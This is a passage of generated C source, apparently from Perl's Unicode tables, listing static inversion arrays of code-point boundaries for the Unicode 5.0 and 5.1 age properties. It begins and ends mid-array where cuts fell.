0x3D0, - 0x487, - 0x488, - 0x4CF, - 0x4D0, - 0x4FA, - 0x500, - 0x510, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x591, - 0x5BA, - 0x5BB, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x604, - 0x60B, - 0x616, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x621, - 0x63B, - 0x640, - 0x65F, - 0x660, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x76E, - 0x780, - 0x7B2, - 0x901, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x971, - 0x97D, - 0x97E, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA75, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF1, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB44, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3E, - 0xD44, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD62, - 0xD66, - 0xD70, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6B, - 0xF71, - 0xF8C, - 0xF90, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCF, - 0xFD2, - 0x1000, - 0x1022, - 0x1023, - 0x1028, - 0x1029, - 0x102B, - 0x102C, - 0x1033, - 0x1036, - 0x103A, - 0x1040, - 0x105A, - 0x10A0, - 0x10C6, - 0x10D0, - 0x10FD, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F5, - 0x1401, - 0x1677, - 0x1680, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AA, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AA, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A20, - 0x1D00, - 0x1DC4, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2064, - 0x206A, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x2095, - 0x20A0, - 0x20B6, - 0x20D0, - 0x20EC, - 0x2100, - 0x214D, - 0x2153, - 0x2184, - 0x2190, - 0x23DC, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x269D, - 0x26A0, - 0x26B2, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27C0, - 0x27C7, - 0x27D0, - 0x27EC, - 0x27F0, - 0x2B14, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C80, - 0x2CEB, - 0x2CF9, - 0x2D26, - 0x2D30, - 0x2D66, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E00, - 0x2E18, - 0x2E1C, - 0x2E1E, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312D, - 0x3131, - 0x318F, - 0x3190, - 0x31B8, - 0x31C0, - 0x31D0, - 0x31F0, - 0x321F, - 0x3220, - 0x3244, - 0x3250, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FBC, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA700, - 0xA717, - 0xA800, - 0xA82C, - 0xAC00, - 0xD7A4, - 0xD800, - 0xFA2E, - 0xFA30, - 0xFA6B, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE24, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018B, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D12A, - 0x1D1DE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CA, - 0x1D7CE, - 0x1D800, - 0x1FFFE, - 0x2A6D7, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__5_invlist[] = { /* for all charsets */ - 880, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x370, - 0x374, - 0x376, - 0x37A, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3CF, - 0x3D0, - 0x487, - 0x488, - 0x514, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x604, - 0x60B, - 0x616, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x621, - 0x63B, - 0x640, - 0x65F, - 0x660, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x76E, - 0x780, - 0x7B2, - 0x7C0, - 0x7FB, - 0x901, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x971, - 0x97B, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA75, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF1, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB44, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3E, - 0xD44, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD62, - 0xD66, - 0xD70, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6B, - 0xF71, - 0xF8C, - 0xF90, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCF, - 0xFD2, - 0x1000, - 0x1022, - 0x1023, - 0x1028, - 0x1029, - 0x102B, - 0x102C, - 0x1033, - 0x1036, - 0x103A, - 0x1040, - 0x105A, - 0x10A0, - 0x10C6, - 0x10D0, - 0x10FD, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F5, - 0x1401, - 0x1677, - 0x1680, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AA, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AA, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A20, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1D00, - 0x1DCB, - 0x1DFE, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2064, - 0x206A, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x2095, - 0x20A0, - 0x20B6, - 0x20D0, - 0x20F0, - 0x2100, - 0x214F, - 0x2153, - 0x2185, - 0x2190, - 0x23E8, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x269D, - 0x26A0, - 0x26B3, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27C0, - 0x27CB, - 0x27D0, - 0x27EC, - 0x27F0, - 0x2B1B, - 0x2B20, - 0x2B24, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C6D, - 0x2C74, - 0x2C78, - 0x2C80, - 0x2CEB, - 0x2CF9, - 0x2D26, - 0x2D30, - 0x2D66, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E00, - 0x2E18, - 0x2E1C, - 0x2E1E, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312D, - 0x3131, - 0x318F, - 0x3190, - 0x31B8, - 0x31C0, - 0x31D0, - 0x31F0, - 0x321F, - 0x3220, - 0x3244, - 0x3250, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FBC, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA700, - 0xA71B, - 0xA720, - 0xA722, - 0xA800, - 0xA82C, - 0xA840, - 0xA878, - 0xAC00, - 0xD7A4, - 0xD800, - 0xFA2E, - 0xFA30, - 0xFA6B, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE24, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018B, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840, - 0x10900, - 0x1091A, - 0x1091F, - 0x10920, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x12000, - 0x1236F, - 0x12400, - 0x12463, - 0x12470, - 0x12474, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D12A, - 0x1D1DE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1FFFE, - 0x2A6D7, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__5_DOT_1_invlist[] = { /* for all charsets */ - 910, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x524, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x604, - 0x606, - 0x61C, - 0x61E, - 0x620, - 0x621, - 0x65F, - 0x660, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x901, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x973, - 0x97B, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF1, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 